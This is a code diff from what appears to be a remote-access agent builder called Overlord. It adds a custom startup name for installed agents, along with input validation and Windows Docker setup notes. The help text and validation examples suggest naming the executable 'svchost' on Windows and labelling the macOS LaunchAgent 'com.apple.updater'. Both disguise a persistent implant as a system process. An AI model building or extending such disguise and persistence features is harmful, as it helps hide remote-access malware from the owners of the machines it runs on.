Custom executable name used by all selected methods (e.g. svchost → svchost.exe). Leave blank for default randomized name.
-
@@ -376,9 +366,21 @@
macOS Persistence
- Uses LaunchAgents (com.overlord.agent.plist) for login persistence.
+ Uses LaunchAgents for login persistence. The startup name is used as the plist label and must start with com. (e.g. com.apple.updater).
+
+
+
+ Startup File Name
+
+
+
Custom name for the installed executable. On Windows: used as filename (svchost → svchost.exe). On macOS: also used as the LaunchAgent label — must start with com. (e.g. com.apple.updater).Leave blank for a default randomized name.
+
+
diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts
index 83baebd..6529c09 100644
--- a/Overlord-Server/src/server/build-process.ts
+++ b/Overlord-Server/src/server/build-process.ts
@@ -713,7 +713,7 @@ func runBoundFiles() {
? config.persistenceMethods
: ['startup'];
sendToStream({ type: "output", text: `Persistence enabled for ${platform} (methods: ${activeMethods.join(', ')})\n`, level: "info" });
- if (os === 'windows' && config.startupName) {
+ if (config.startupName) {
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
ldflags = `${ldflags} ${startupNameFlag}`;
sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" });
diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts
index c04ae3b..255ef16 100644
--- a/Overlord-Server/src/server/routes/build-routes.ts
+++ b/Overlord-Server/src/server/routes/build-routes.ts
@@ -147,9 +147,16 @@ export async function handleBuildRoutes(
: ['startup'];
if (safePersistenceMethods.length === 0) safePersistenceMethods.push('startup');
const safeStartupName =
- typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim())
+ typeof startupName === 'string' && /^[A-Za-z0-9_.-]{1,64}$/.test(startupName.trim())
? startupName.trim()
: undefined;
+ const hasDarwinTarget = allowedPlatforms.some((p) => p.startsWith('darwin-'));
+ if (hasDarwinTarget && safeStartupName && !safeStartupName.startsWith('com.')) {
+ return Response.json(
+ { error: 'Startup name for macOS must start with "com." (e.g. com.apple.updater)' },
+ { status: 400 },
+ );
+ }
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
? outputName.trim()
: undefined;
diff --git a/README.md b/README.md
index 7a2f9c6..218b089 100644
--- a/README.md
+++ b/README.md
@@ -134,6 +134,20 @@ docker --version
docker compose version
```
+> **Windows users:** use `docker-compose.windows.yml` instead of the default `docker-compose.yml`. The Windows compose file is pre-configured for Docker Desktop on Windows (no `network_mode: host`, correct volume paths, etc.).
+
+Clone the repo or download the files, then run:
+
+```powershell
+docker compose -f docker-compose.windows.yml up -d
+```
+
+To rebuild after an update:
+
+```powershell
+docker compose -f docker-compose.windows.yml up --build -d
+```
+
### Linux (Debian, official apt repo method)
Official docs: